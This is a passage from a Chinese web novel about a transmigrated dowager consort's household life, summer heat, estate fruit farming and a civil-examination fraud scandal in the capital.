几个太姨娘见顾晓都说到这份上了,这才犹犹豫豫地坐了下来,只是多了个连话都还不怎么说得齐全的孩子,说是晚辈,其实她们也当不起,她们不像是李氏,有过正经的册封,哪怕是享着侧妃份例的周氏,本身也是没有品级的,也不是良妾,在府里属于半主半奴的身份。顾晓可以说末儿是晚辈,但是真要说起来,末儿是主子,她们顿时就有些不自在起来,很快就起身告辞。 春红春燕已经叫几个二等丫头将樱桃分好,用食盒装了,拿给她们的丫头,叫她们一并带回去。顾晓叫人送走了她们,看着还在摇头晃脑,眼睛追着两条小狗转来转去的末儿,忍不住笑着摇了摇头:“我这边难得有人过来说说话,你这一来,人可就都走了!” 春香忍不住替末儿打抱不平:“娘娘这话说的,这怎么能怪三公子!娘娘您就是太心善,换做是别人家,几位太姨娘哪有如今这个日子!” 顾晓摇了摇头,说道:“她们年纪轻轻的,就在府里头守着,叫她们松快一些又如何!” 春燕却是说道:“奴婢也觉得娘娘您就是太随和了,今儿个几位太姨娘过来了,侧太妃那边却是半点动静也没有,可见是不将娘娘您放在心上!” 顾晓摆了摆手,说道:“行啦,你们又不是不知道侧太妃的性子,她就算是要来,除非是正日子, 否则的话,也不会跟着几个太姨娘一起,这不是跌了她的身份嘛!” 顾晓这话一说,几个丫头都笑了起来。可不就是这样,李氏这个侧太妃素来自矜身份,在府里头,当初对顾晓都不乐意低头,何况是一帮侍妾!哪怕如今不同往日,她那西院都不再是她一个人的桃花源了,她也是懒得理会刘氏她们的,平常见了,眼睛也是恨不得长在头顶上,只当做没看到一般,似乎跟她们走在一起,都掉了自己的身价。 末儿在一边东张西望,只觉得莫名其妙,但是见顾晓嘴角也含着笑,忍不住跟着笑起来。 “行啦,你个小家伙,你要跟狗狗一起玩,你可以喂一喂它们,摸一摸它们,明白了吗?”低头见末儿又盯着两只狗狗,顾晓不由笑道,当下便吩咐下人去厨房拿一些煮熟的肉条还有磨牙棒、奶干之类的东西过来,她先拿了两块奶干,分别放到两只小狗面前。 闻到奶干的香味,两只小狗都凑上前,舌头一伸,就将奶干卷到嘴里,再看看盘子里的东西,精神都变得亢奋起来,绕着顾晓“呜呜”叫个不停。 末儿当下就也拿了一根磨牙棒,丢到地上,这磨牙棒里面同样加了牛乳,闻起来有一股淡淡的奶香,两只小狗闻到之后,都凑了过去,白色的那只动作快,直接咬住了磨牙棒,几下就嚼碎了,花的那只记得“呜呜”直叫。 末儿便又拿了一根丢到地上,花的那只赶紧跑过来,将磨牙棒给吃了。瞧着末儿手掌喂食大权,两只小京巴这回也不躲着末儿来,尾巴摇得风扇一样,蹲在末儿面前乖得不行。 末儿无师自通了取名的方法,指着白色的那只,叫道:“白白!”又指着花的那只,叫道:“花花!”两只狗似乎知道这是在叫自己,摇着尾巴期盼着看着末儿,末儿就又拿了两根肉条丢到地上,看着两只小狗吃得开心,只乐得连连拍手。 “这事闹的,原本说给钰儿和末儿一人一只的,这下都变成末儿的了!”顾晓见末儿跟两只小狗玩得开心,忍不住摇了摇头。原本狗抱回来的时候,顾晓就叫了徒嘉钰过来分配,结果徒嘉钰见末儿喜欢,便说都留给末儿。但是,顾晓觉得还是得公平一些才好,总不能因为末儿年纪小,就都让着他,那等以后封爵了,难道还想要徒嘉钰再让着他不成! 吴嬷嬷笑道:“这狗认人的,要是认定了三公子,那还不如再去猫狗房选一只给小王爷!要我说,小王爷如今年纪不小了,再过几年,就得跟着出去行猎,不如给小王爷选一只松狮或者是细犬,可以带着一起去围场!” “这我可不给他做这个主,等回头再问问他吧!”顾晓笑道,“再不济,等明年,他就可以去弘文馆了,到时候让他自个去猫狗房挑去!” 人就是经不起惦记,才说着呢,徒嘉钰一溜烟跑过来了,看到顾晓,先给顾晓行了一礼,见末儿已经跟两条狗坐在一起,不由“噗嗤”一声乐了出来。 “你今儿个不是要读书吗?这着急忙慌跑过来干什么?”顾晓见徒嘉钰模样,不免问道。 徒嘉钰说道 :“季先生今儿有些不适,便放我们一日假!我跟瑚哥儿说要一块放风筝呢,刚刚我的那个连串的鸿鹄风筝线不小心断了,我记得妈你这边还有几个风筝,便想过来再拿两个!” 顾晓笑道:“行吧,不过,也别在外头跑太久,这如今虽说还没入夏,天也热起来了,回头跑得一身汗,风再一吹,却容易受凉!倒是你们季先生,可知道是什么症候?” 徒嘉钰又不是大人,哪里那么面面俱到,之前只听得季先生身边的长随过来说季先生身体不适,他们高兴放假还来不及呢,哪里又会多问。这会儿顾晓一问,便张口结舌,答不上来。 顾晓叹道:“罢了罢了,你们去玩吧,回头也该跟瑚儿一起去季先生那里探病才是!” 徒嘉钰忙说道:“我猜季先生就是略有些不适,要不然怎么只放我们一天假!” 听徒嘉钰这么一说,顾晓也不知道该说什么好,只好摆摆手,叫徒嘉钰自个去拿风筝,然后唤了春香过来,说道:“刚刚听说季先生有些不适,都给两孩子放假了,你把樱桃也准备一篮子,另外再准备几样点心果品,叫人给季先生送过去!再问问季先生是个什么症候,可要请太医!” 春香答应下来,当下便准备起来,然后拿到二门外,叫了一个管事,让他带着东西去探望季先生。 季先生这会儿正在自个屋里忍受老妻的唠叨:“你都这把年纪了,还贪凉,回头叫人知道了,不定要怎么说呢!” 季先生苦着脸,说道:“好啦,别唠叨了,以后可不敢了!”他也是后悔,昨儿个夜里被热醒了,起来将之前剩的半壶冷茶给喝了,结果回去睡了没多久,就觉得肚子开始翻江倒海,后半夜起了好几次,整个人都拉得虚脱了,这会儿还躺在床上起不来。 季妻将小手炉里的灰倒掉,又换上了新的炭,拿去让季先生焐着肚子,季先生自个也知道一些医理药理,一早就先吃了一粒保和丸,已经止了泄,如今只是浑身发软起不来,只能先躺着。 正在这时,管事过来了。 季妻一听,又忍不住横了季先生一眼,这才叫院里粗使的婆子去开门。管事进了门,见到季妻,忙行礼问安:“小的见过季安人!” 季妻也认识这个管事,每每给季先生这边送东西,都是这位管事过来,连忙避开,口中说道:“林管事多礼了!不知林管事此来,可是府里有什么吩咐?” 林管事忙将带来的果品点心送上,口中说道:“季安人哪里来的话,是太妃娘娘听说季先生有些不渝,便吩咐小的过来探望一番,问问季先生可好了,可要请个太医来诊治一番!” 季妻愈发羞赧,只得说道:“娘娘实在太客气了,外子只是夜里受了凉,略有些泄泻,一早吃了一粒保和丸,已是好多了,不必再劳烦太医!” 林管事松了口气,又说道:“娘娘说了,季先生尽管好生养着,需要什么药尽管说便是,小王爷那边也不差这几天!” 季妻向着正院方向行了一礼,感激道:“劳烦娘娘费心 ,外子不过是小恙,定不会耽误了小王爷的功课!” 送走了林管事,季妻提着食盒进来,发现里头放着四个盘子,分别是一盘樱桃,一盘糖水山楂,一盘山药枣泥糕,一盘芝麻酥,她正想要将东西收到橱柜里,躺在床上的季先生一见樱桃,不由口舌生津,忙说道:别的也就罢了,这樱桃皮薄肉嫩,可是留不住,不如拿出来吃了吧! ?微云烟波的作品《红楼太妃要躺平》最新章节由??全网首发更新,域名[( 季妻愈发没好气起来,嗔道:“都起不来了,还贪嘴。这樱桃再好,也是寒凉之物,别又吃得闹了肚子!” 季先生赔笑道:“如今正是吃樱桃的时节,怎么就寒凉不能吃了,实在不行,你蒸几个给我尝个鲜,如何?” 季妻瞧着这个丈夫,只觉哭笑不得,都是做祖父的人了,性子反倒是如小孩子一般,还嘴馋起来。想着要是自己不给他做,只怕回头偷偷吃了,再闹起肚子来,季妻只能是无奈地叹了口气,便挑了一些,拿给粗使的婆子带去大厨房,托那边的厨子给蒸半盘。 结果回来的时候就发现季先生在偷吃,季妻这回是真急了:“你这肚子还没好呢,这就又不安分!”一边说,一边直接将几个盘子都锁到橱柜里,没好气地说道:“真是一个错眼不见,就忍不住,还给人当先生呢,知不知道什么叫为人师表啊!” 季先生不由有些尴尬,只得说道:“我就是尝了一下,这等鲜果,蒸熟了就失了本味了!” 季妻无奈道:“我已经问过了,这樱桃是今年头一茬成熟的,之后还能吃个半个月呢,你想要吃,等好了,吃多少不行,非得这个时候馋嘴!” 这边老夫老妻拌着嘴,徒嘉钰和贾瑚放风筝放得满头大汗,跑回去换了衣裳,终于想起来应该过来探望一下生病的先生了。 好在门口有人传话,要不然的话,被老妻训得唯唯诺诺的季先生在两个学生那里就真的没了师道尊严。 当着学生的面,季妻自然要给丈夫足够的颜面,一听徒嘉钰和贾瑚来了,一时找不到别的东西招待,只得又将才收起来的果子点心拿了出来,特意将樱桃和糖水山楂放在距离季先生比较远的地方。 徒嘉钰跟贾瑚走进来,连忙先给季先生和季妻行礼:“见过老师,见过师母!”季先生在他们那里并不摆什么先生的架子,有的时候懒了,就直接叫他们将作业送到他院子里来,因此,两个人对这边都很是相熟,跟季妻也早就熟悉了,一开始互相之间还很客气,如今便都以师母相称。 季先生这会儿靠着大迎枕坐在床上,笑呵呵地说道:“不必多礼,坐吧!”他这会儿很是庆幸,要不是两个学生来了,非得被老妻唠叨个不停不可,这会儿倒是可以松快一会儿了! 季妻却是直接釜底抽薪,笑道:“这会儿外头热,你们过来一趟定是也晒着了,正好吃点果子!” 外头送的樱桃,徒嘉钰和贾瑚那边自然也都分了不少,不过他们玩到现在,的确也有些口渴,两人便也不多客气,各自拿了几个樱桃吃了,季先生想要浑水摸鱼,却被一直盯着的季妻狠狠横了一眼,只得 作罢。 季妻巴不得两个孩子将樱桃都吃光,生得季先生再惦记,不过两人都是大家子出身,知道礼数,吃了几个之后,便都停了手,又捧了茶喝了两口。 徒嘉钰看季先生脸色还好,并无什么病容,便问道:“老师是个什么症候,可觉好些了?” 季先生也有些尴尬,这把年纪贪凉闹肚子,真有些说不过去,只得含含糊糊说道:“不过是一时不察,闹了肚子,已经吃了药,歇一日便好了!” 徒嘉钰和贾瑚听季先生说得轻描淡写,再看季妻脸上也没多少忧色,知道应该就是一点小恙,当下也放下心来:“老师无事便好!” 季先生看他们模样,就是笑道:“我不去上课,难不成你们玩得不痛快?” 徒嘉钰讪笑一声,贾瑚赶紧解释道:“就算想要玩,我们也没盼着老师您生病的道理!” “别听你们先生胡说,他就是闲着无聊,拿你们逗趣呢!”季妻在一边拆台道,她这把年纪跟着丈夫常年在京城做西席,压根看不到下面的儿孙,难免有些想念。徒嘉钰和贾瑚都生得俊秀,又不是什么蛮横傲慢的纨绔做派,素来斯文有礼,就算还有些小孩子心性,在季妻那里也称得上是讨人喜欢,因此,瞧着季先生弄得两个孩子不自在,忍不住就戳穿了季先生的那点恶劣小心思。 季先生拿自个老妻也是没有办法,只得作罢,干脆拿捏起先生的身份来,冠冕堂皇地说道:“虽说今儿个不讲课,不过功课这种事情,也是不能轻忽的。不说瑚哥儿,便是钰儿贵为小王爷,也得有一手好字,才拿得出手!练字这种事情,一天不练自己知道,两天不练内行知道,三天不练,外行也就知道了!你们如今年纪小,正是该用心用功的时候,今儿不上课,你们下午回去,就练五张大字吧!” 两人万万没想到,就来看一下先生,居然还领了作业回去,不由都有些沮丧起来。季妻就算是喜欢孩子,但是季先生教学生的事情,她也是不好插口的,只得安慰了他们几句,又叫他们吃点心。 两人哪里还有吃点心的心思,想着还得写五张大字,当下就坐不住了,直接起身告辞,却没看到他们身后,季先生已经被老妻瞪得想讨饶了。! 第 56 章 去年入夏的时候,顾晓身体还虚着,自然不会觉得很热,结果今年就发觉,这夏天实在不怎么好过! 对于用惯了空调的人来说,用冰鉴来制冷,委实不怎么舒服,温度或许下来一些,但是湿度也上来了。而且如今也不能像是后世一样,天热起来,穿个吊带裙就能随便走。哪怕是在自个家里,也不能衣衫不整,里里外外都得整整齐齐。即便是最轻薄的细纱,穿个几l层,也凉快不起来。 末儿年纪小,更是火气旺盛,又成天跟两只小狗在一块厮混,他又长得胖,胳膊腿跟藕节一样,没几l天就热出了痱子。这年头也没什么痱子粉,找了太医,太医给开了个洗浴的方子,用干桃叶熬汁擦洗,可以祛痱止痒,但是想要不复发,还是得尽量保持干燥凉爽。 顾晓干脆叫人将洗澡的浴桶给清理了出来,里面放上温水,再放上几l个矮凳,叫末儿踩矮凳上在桶里面扑腾,倒是挺消暑。连同两只小狗,大部分时间也喜欢泡在水里,恨不得一整天不出去。末儿不能泡时间太长,出来的时候,倒是可以只穿一件小肚兜,遮住肚子便行。可是小孩子这样可以,大人却不方便。哪怕内院除了一个徒嘉泽,就没别的男人,顾晓也不能叫人将花园里的池子清理出来做泳池。 原本徒宏远在的时候,还想过在花园里修建凉殿消暑,可惜在这个年代,这绝对是个大工程,花费不少,因此计划一直只停留在纸面上,并不曾真的付诸实施。 到了顾晓这边,也不想在王府里大兴土木,别的不说,花园就在内院的范围内,修建的时候,内院很大一部分地盘都要封起来,免得那些工匠冲撞了府里的女眷,一想就很麻烦,与其在王府里面折腾,还不如在城外搞个避暑的别业呢! “回头看看西山那边山上夏天是否凉快,若是凉快的话,就在那边盖个庄子,以后夏天可以去西山避暑!”其实皇家在城外也有避暑的夏宫,也就是南山行宫。每年入了六月,圣上就会带着大半个朝廷搬到行宫去避暑,只是徒宏远以前就是个小透明,从来没捞到过随驾的美事,自然就别指望拖家带口地跑到南山一起避暑。南山那边因为行宫的存在,地皮也贵得厉害,徒宏远当年打过主意,结果一看价钱,立马打了退堂鼓。 顾晓自然也是一样,与其在南山那边折腾,还不如去西山,那里本就有平王府的几l个庄子在,之前还叫人买下了大片的山地用来种植果树,回头就在那里建个庄子来消暑。 吴嬷嬷赶紧劝道:“娘娘,盖个庄子可不便宜,如今府里就这么多钱,总不能都花了吧!” 顾晓其实理念还停留在后世,后世的基建狂魔,想要建什么房子,那叫一个成本低,速度快,可如今却不一样,吴嬷嬷稍微给顾晓算了一笔账,砖石也就算了,可以就地开采,但是,这年头盖房用的黏合剂可不是水泥,而是用所谓的三合土,三合土里石灰、黄土、沙子什么的还好,关键里面要用糯米汁调和。这年头粮食产量在那里,产量最高的占城稻一亩上田也就能产个两三百斤的 稻米,糯米的产量还不如这个呢,用来盖房,想想就知道需要多少才够!这也罢了,主要还有梁柱。这会儿也没有钢筋水泥混凝土,梁柱用的都是那等巨木,神京这边几l朝古都,附近山里能开采的巨木早就用光了,开国那会儿修缮宫室,甚至不得不从蜀中调运木材,光是这个运输成本就已经非常夸张。江南那边一带,富贵人家倒是喜欢进口海外的木材,那是因为海运相对便宜,可是想要运到京城,就得再转漕运,这个就更贵了。 王府盖房又不能像是普通小民人家,盖个三间大瓦房就够了,起码得是个能住得下上百人,该有的设施都得有的大宅院,你算算得要多少木料。皇家没钱的时候都修不起宫室,你一个没多少底子的王府还想要修个避暑山庄?想什么美事呢! ?本作者微云烟波提醒您《红楼太妃要躺平》第一时间在.?更新最新章节,记住[( 吴嬷嬷这么一说,顾晓不免也有些无奈,后世是材料便宜人工贵,现在是人力不值钱,材料却很贵,若是能弄出水泥来,应该能降低不少成本,不过如果顾晓穿越的时候是高中那会儿,别说水泥了,连玻璃都能给你烧出来,可如今,工作多年之后,除了工作上的专业知识,其他的东西,多半都已经还给老师了,再让她去研究这些,对于立志躺平的她来说,委实不是什么容易的事情。 “既然如此,那就暂时罢了,回头看看能不能想点别的什么办法吧!”顾晓叹了口气,说道。 “娘娘若是想要去避暑,等出了孝,倒是可以回侯府省亲!”春燕在一边笑着出了个主意。 顾晓回忆了一下,春燕说的是隆安侯府在南山的一处宅子,还是开国那会儿分到的,不过就是个三进的小院,不由摇了摇头:“还是算了吧,原本庄子就不大,到时候我们乌泱泱一群人过去,侯府那边都没法住了!” 说话间,下头送了酸奶还有酸梅汤之类的饮子过来,原本顾晓想要吃冰酪,也就是这个时代的冰淇淋,但是被吴嬷嬷给否了,毕竟,按照太医的说法,顾晓如今还没有完全恢复,太过寒凉的东西,是不能吃的。 实际上,王府如今大大小小的主子,要么年纪小,要么都是女子,忌寒凉,最多也就是吃上了井水湃过的各种甜品或是饮子,像是徒嘉泽,连酸梅汤都只能吃温的,生怕伤了肠胃。 顾晓叫人将在井水里湃过的酸梅汤给分了下去,自己却是捧了一杯水果酸奶捞,白生生的酸奶里头,放着切成丁状的甜瓜西瓜还有葡萄干蜜豆之类,吃起来酸甜可口,很是开胃。 一盅酸奶捞吃下去,顾晓也觉得凉快了些,笑道:“今年的西瓜和甜瓜倒是比去年甜一些!” 吴嬷嬷也笑道:“今年雨水比往年少,自然瓜果更甜!昨儿个庄子上的人过来,说是天天有人跑到庄子外头守着,一听说有瓜熟了,就买下来拉回去呢!因着要先留足府里吃的,都不够卖!” 不管在什么年代,除非有灾荒,否则的话,种植经济作物都比种粮食挣钱。平王府几l个庄子,以前各个庄子上都是种不同的粮食,瓜果蔬菜之类的一般只满足王府和庄子上的需要就行。但是近些年一直风调雨顺,王府年 年粮库都屯满了新粮,每年光是将旧粮清空换新粮都要费不少功夫,还有许多粮食都是直接卖给京中的粮商,一年下来,收益其实很一般。 顾晓却是之前就问清楚了各个庄子上田亩的情况,然后就叫在保证粮食产量的情况下,多种植瓜果。京中富贵人家多的是,这些东西只要品种好,不怕卖不出去,可比卖粮食划算多了!像是到了冬天的时候,庄子上也可以种洞子菜,同样代表着大笔的收益。 西瓜自从进入中原之后,就经过了不知道多少次的选种改良,传到如今的西瓜大概含糖量比后世也就略差一些,已经是红壤黑籽,口感脆甜,无非就是皮比较厚。这也是难免的事情,以如今的运输手段,那种皮薄易开的,运输起来损耗就会很大,还是这种皮厚且硬的,才容易运输和储存,而且瓜皮也能当菜吃。像是神京这些西瓜,一般储存个两三个月不成问题,可以从夏天吃到快入冬。 今年西山几l个庄子上种的瓜果都是精挑细选出来的好品种,前一阵子端午节,庄子上第一茬的西瓜甜瓜熟了,顾晓给娘家那边的节礼除了粽子之外,就给添上了西瓜和甜瓜。隆安侯夫人怕顾晓吃亏,回头就叫人也不打侯府的名号,去庄子上买了几l车,再到处一送,顾家一干亲戚就知道,王府庄子上今年种出的西瓜和甜瓜口感不错。这些人家都是不缺钱的,以前都是直接从市面上采买这些瓜果,很少有自家种的,今年瞧着王府庄子上的瓜果价钱实惠,干脆叫采买隔几l日就去庄子上买一批回去。 今年算是亲戚捧场,以后名声就能彻底打出去,等以后种的人家多了,再缩减一下种植面积,该种其他品种便是。像是出瓜子的打瓜就可以多种一些,向日葵也是一样,瓜子储存运输起来可比瓜简单多了。 吃瓜的时候,有点八卦围观,那就再好不过。圣驾已经去了南山行宫,半个朝廷也跟着出动,只留下一些需要经常坐衙,没法跟着去的。留在京中的各家日子该过还得继续过,然后这大热天的,就闹出了一桩大新闻出来,直将吃瓜群众们的视线都给吸引了过去。 这事一开始就闹得挺大,因为时隔多年,竟然有人敲响了登闻鼓。 登闻鼓这玩意可不是衙门外头那个鼓,那个鼓其实是给衙门办公用的,用来通知官吏上下班,偶尔也用于审案,升堂了,敲几l下,通知人来围观,叫做升堂鼓,退堂了,再敲几l下,就是退堂鼓。 登闻鼓这玩意却是放在皇宫门口的,也就是说,你就算是有天大的委屈,也得先跑到皇宫门口来,才有机会敲鼓。这就劝退了九成九的人,这年头又没个飞机高铁什么的,多大的冤屈值得你千里迢迢跑这一趟啊!甚至哪怕是京城附近的人,想要跑一趟皇城,也不是什么容易的事情。你要喊冤,也得逐层上告,不可能一开始就准备告御状,所以,在此期间,各级官员都会非常默契地通过各种手段,打消原告想要越级上告的心思,以免牵连自身。你就算是能越过这重重障碍,跑到了皇城,那皇城门口那些侍卫,难道都是摆设吗?随随便便能让你进来? 本朝上一次敲响登闻鼓还是开国那会儿,有人状告当时的某位将军杀人父母,夺人-妻子,这杀父之仇,夺妻之恨直接凑齐了。那位将军的政敌支持那人跑到皇宫门口敲响了登闻鼓,最后那位都已经被封爵了的将军直接被夺爵处斩,很是将一干开国勋贵吓得老实了一阵子。 如今登闻鼓再次被敲响,很是将京中一干权贵吓得不轻,纷纷自查自家是否干了什么坏事,叫人抓住了把柄。至于打听什么的,那是不可能的事情,那人敲了登闻鼓之后,诉状便会被封存,直接送到御前,等待圣裁。谁敢在这期间泄露了消息,那都以泄禁中机密论处。 诉状送到南山行宫,圣上瞧见之后,便是勃然大怒,命有司彻查。 然后,大家才知道,这居然是一桩科举舞弊案。 自科举盛行以来,对于科举舞弊的处置几l乎是越来越严,毕竟,对于寒门子弟来说,科举几l乎是唯一的一条晋身通道,再出现舞弊现象,绝了寒门子弟的上升通道,这些读过书,有一定政治素养的人真要是反对起朝廷来,也是一桩麻烦事。何况,朝廷也不能真如同之前一样,叫人垄断科举,以至于在朝堂上结成朋党,威胁皇权。 这回一听竟是科举舞弊案,说的是去年秋天的乡试舞弊,要知道,几l个月前,殿试都已经结束了,涉及到的舞弊者说不定都已经通过了殿试,正式入朝为官了。结果下头竟是遮掩了大半年,一直到如今,才被一个落第秀才的书童揭了盖子。 那书童说是书童,其实自幼与主家少爷一同长大,一起读书,与兄弟无异。他资质不佳,就跟着主家少爷做书童,做长随,对主家是忠心耿耿。 据那书童所说,自家少爷才华横溢,是当地有名的神童,都说之前乡试必中的。但这也罢了,历朝历代,科举屡试不第的神童多了去了,毕竟,科举这东西,考的多半是主观题,你是心学大家,摊上个理学考官,能考中才怪。因此,原本那一次乡试落第,他家少爷并没当回事,他年纪还轻,再等个三五年也不算什么。 哪知道后来他回乡之后,发现书店里有当年中举考生的文章结册出售,他便买了一本,本想看看自己到底是哪儿不符合考官的心意,这才没有考中,结果就在其中发现了自己在考场上作的文章,顿时懵了。 这种事情,一个心高气傲的年轻人哪里受得住,当下回转省府,要求一个公道。 这公道自然是没求到,这个倒霉的年轻人直接被以诬告罪下狱,之后学正夺了他的功名,将他直接打了一百板子,当时就断了气,然后被衙役一卷破席一包,往城外乱葬岗丢了出去。 这年轻人也是有心人,原本去告状的时候就担心官官相护,因此,就跟这个书童说,若是自己安然回转,那自然是万事大吉,若是自己几l天不回,就叫他带着包裹去神京。包裹里头是这个年轻人在老家和省府买到的时文册子,还有他之前写的文章,与册子上那一篇文章脉络一脉相承,他还圈出了写文章时的一点小习惯。另外便是顶替了他的那个人的情况,这年轻 人可是打听清楚了,那个人乡试期间,人根本就没进贡院,如此,他的成绩又是哪儿冒出来的! 这书童那些日子躲在城外,只隔两日进城一次打探消息,结果就眼睁睁地看着自家少爷被衙役丢到了乱葬岗,他怕误了少爷的事,一直等到夜里,才去乱葬岗收拾了少爷的尸骨,先找了个地方埋了,然后连夜就往京城而来。 这书童也是个死心眼,自家少爷说让他来神京告御状,他这一路上就一门心思往神京而来。因为没有路引,沿途不好进城,只能走荒郊夜路,免得被人发现,走陆路好几l次走错了方向,他才想到应该顺着运河走。但他包裹里头也没多少钱,也不方便坐客船,他就在码头上给人扛大包,然后打听运河上那些船只的目的,偷偷趁夜扒人家货船,跟着人家货船走。因为怕被发现,只敢跟一小段,就再换船。 一个没有地图,也没有地理常识,哪怕跟着少爷认识了一些字,也没多少钱的人,放在后世,想要出远门都得防着迷路,何况是交通非常不发达的时代!冬天运河封冻,客船货船都不行驶,码头上也没活计,他也不敢去住店,只能找个破庙住下来,还得跟人家乞丐抢地盘,差点没冻死,但是他依旧坚持了下来,就这么跌跌撞撞地闯到了京城,混在进城做工的力役进了城。 他知道自己这破衣烂衫的根本进不了皇城,甚至连内城都进不去,因此,进京之后,他先找了个地方做工,又从当铺给自己弄了一身还算体面的衣服,又四处打听消息,光是打扮成大户人家仆役的样子在皇城外头踩点都好几l次。 这一次,他能跑进皇城,也是托了半个朝廷都搬到了南山行宫的福,毕竟圣驾不在皇城之中,守门的那些侍卫也懈怠了许多,他又是打扮成给衙门官员送饭的仆役模样,趁着中午最热的时候,瞧着那些侍卫昏昏欲睡,找准了机会,就冲了进去,敲响了登闻鼓。 光是这一番经历,就足够编成一部话本了,这等忠仆,谁家不心心念念啊!加上京中一干勋贵,之前在王家的事情上很是被文官们DISS了一番,如今逮着这个机会,这些勋贵自然恨不得敲锣打鼓,将这事宣传一番。没错,我们勋贵是做过一些不法之事,但是你们这些文官,这等绝人前程,送人性命的事情,做得不也挺干脆利索的吗? 这等科举舞弊,都不冒名直接顶替之事,你们也做得太绝了。拿了人家的文章,你们私底下给点好处也行啊,比如说私底下保证,让对方下一科必中,结果你们竟是直接把人给打死了,原以为死无对证,却没想到人家还有个忠心耿耿的书童,竟是一路跋山涉水而来,给自家少爷喊冤吧! 勋贵们拿住了文官的把柄,还找了说书的先生,甚至还叫人编了唱词,在各处茶楼戏楼表演,便是贩夫走卒,出一两个铜板,也能进去将事情的前因后果听完。普通百姓或许愚昧无知,却也有着基本的道德观念。实际上,这些人才是最希望得到公平的人,他们很快就将自己代入到了苦主身上,甚至人家苦主还是廪生秀才呢,不照样被那些当官的弄了个罪名打死了,他们这 些草民,在当官的眼里又算得了什么!兔死狐悲之下,这些百姓虽说明面上不敢做什么,但是私底下,看见那些文官,难免指指点点一番,甚至吐口唾沫什么的,杀伤力可以说是没有,却将一干文官弄得颜面扫地,将始作俑者恨得咬牙切齿。 没错,那个偷了苦主文章的人这次殿试居然中了,虽说只是同进士,但那也是中了,还已经走了门路,在吏部领了官职,已经上任去了,到现在还没将人通知到,押送回京城受审呢! 大家拿了他会试殿试的卷子一看,就忍不住纳闷,这人水平也不差,会试或许还有可能舞弊,殿试可在大家眼皮子底下,总不至于也是拿的人家的文章。而且会试的时候与他考棚比较近的人也记得他,卷子发下来之后,下笔流畅,也不见有什么小动作,平时文会的时候,虽不能说是出口成章,但联句行令什么的,都很玩得开,见识也广,可见还是有真才实学的。他所在的省份又不是江南那几l个科举大省,他这样的水平,就算是这一科来不及,下一科去考,考中的几l率还是很大的,怎么偏偏就不能等一科,竟是做出这种事情来呢? 那位当事人没逮着,但是乡试的主考和副主考本来就是朝廷派下去的翰林,这种事情,他们根本脱不开干系,在圣上下令彻查之后,两人就被关押了起来。至于那位学正,估摸着用不了多久,也要过来跟他们作伴。 因为人没到齐,还没开审,所以大家都不知道其中是否有什么内情,只得私下猜测,京中各个赌场还开了盘口,赌这次科举舞弊的由来,只将这个盛夏弄得愈发火热起来。! 第 57 章 因着这一场热闹,顾晓在王府里都不觉得炎热,每日里叫人在外头打听了消息,回来跟自己说,连同市面上根据这事新出的几个话本子也都买了回来,看得津津有味。 原本顾晓觉得这事跟自家无关,结果这一日隆安侯夫人找上门来。 顾晓一开始也不知道什么事,还以为隆安侯夫人就是来看看自己,忙叫人端了果盘上来。夏天别的也就罢了,各种鲜果多得很,吃着也清爽。 隆安侯夫人吃了两片甜瓜,便停了手,说道:“你们庄子上种的这些瓜果倒是挺不错的!” 顾晓笑道:“那妈你回去的时候带两车回去,我们府上人口不多,每次送来的也吃不掉,都快拿这些瓜果当饭吃了!” 隆安侯夫人摆了摆手,说道:“哪能占你这个便宜,这些瓜果在外头卖得好得很,多点出息,以后钰儿L和末儿L日子也好过!” 顾晓笑道:“女儿L孝敬爹妈的东西,算什么便宜,这么一说,以后女儿L还回不回娘家了!” 隆安侯夫人不由一笑:“行啦,就你会说!”说到这里,想到自个这些天遇上的糟心事,她就忍不住叹了口气。 “妈,你这是怎么了?难不成有什么烦心事,你说出来,女儿L就算帮不上忙,也能开解开解!”顾晓见状,连忙问道。 隆安侯夫人叹道:“我今儿L个过来,其实就是到你这里来散散心的,这些日子,真的是折腾死我了!” 顾晓一听,赶紧说道:“妈,难不成家里出了什么事?” “不是咱们家!”隆安侯夫人露出了一点苦色,“都是八竿子打不着的亲戚了,多少年没来往了,结果如今硬是找上门来,你不想理会,人家也不要脸皮,在门口就喊什么咱们家发达了,就不认落魄的穷亲戚!天可怜见,这天底下有他们那样嚣张跋扈的穷亲戚吗?” 顾晓一听,顿时就知道这事跟自家干系不大,因此便有了吃瓜的心思,忙凑过去问道:“什么亲戚啊,我知道吗?” “别说你了,要不是他们找上门来,我都不知道!”隆安侯夫人简直是一肚子的槽吐不出来,这会儿L气哼哼说道,“都是好几代之前的事情了,真要说起来,他们跟咱们老家那边更亲,怎么不跑那边认亲去,非得到咱们家来!” 见顾晓还是一脸茫然,隆安侯夫人解释道:“最近外头不是都在传那个舞弊案吗?就是那一家!” 那拿了人家文章顶替了人家名字的人如今早就被人扒出来了,姓董,叫董元驹,找上隆安侯府的就是这个董家。 董家虽说不是几代单传,但家里从来都是阴盛阳衰,到了董元驹这一代,几房更是只有董元驹一个男丁,如今董元驹牵扯到这等科举舞弊案,光是没了前程也就罢了,关键是圣上下令严查,说不定会判个死罪,董元驹虽说已经成婚,但是他们家那顽固的生女基因有发挥了作用,至今也就是两个女儿L,尚且没能生下一个男丁,真要是董元驹被判了死罪,那董家就直接绝嗣了 。 因着这个缘故,董家那边听说消息之后,便开始四处活动,想着好歹得将性命保下来,最后就找上了隆安侯府。 董家跟隆安侯府的亲戚关系,那真的是比较远了,还是前朝的时候,董家有个女儿L嫁到了顾家,跟隆安侯府这一房其实还隔了房。只是,董家如今是病急乱投医,顾家就算也有几个当官的,但是官职不高,又不在京城,根本说不上话,因此,他们只能赖上了隆安侯府。 顾晓就纳闷了:“这样的人家,怎地当初就起了偷天换日的心思?”家里只有一个男丁,不留在家里先传宗接代,玩什么科举舞弊啊,这事闹出来,那是好玩的吗? 隆安侯夫人没好气道:“谁说不是呢!简直是油蒙了心,脂迷了窍!他们过来跟我们解释说,是董家老爷子去年重病了一场,人糊涂了,非要在临死之前看到孙子中举。哪知道董元驹那会儿L竟是病了,为了不叫老爷子死不瞑目,才折腾出这事来!” 顾晓皱了皱眉:“什么玩笑话,到时候骗一骗老爷子不行吗?拿国法开玩笑!我看,他们就是自个就有投机取巧之心!” 